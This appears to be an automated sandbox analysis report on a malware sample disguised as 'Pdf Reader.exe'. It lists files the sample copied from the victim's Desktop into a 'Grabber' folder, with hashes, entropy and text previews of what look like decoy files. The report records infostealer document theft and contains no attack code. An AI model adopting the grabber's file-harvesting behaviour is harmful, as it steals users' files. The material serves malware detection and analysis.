Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	true
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
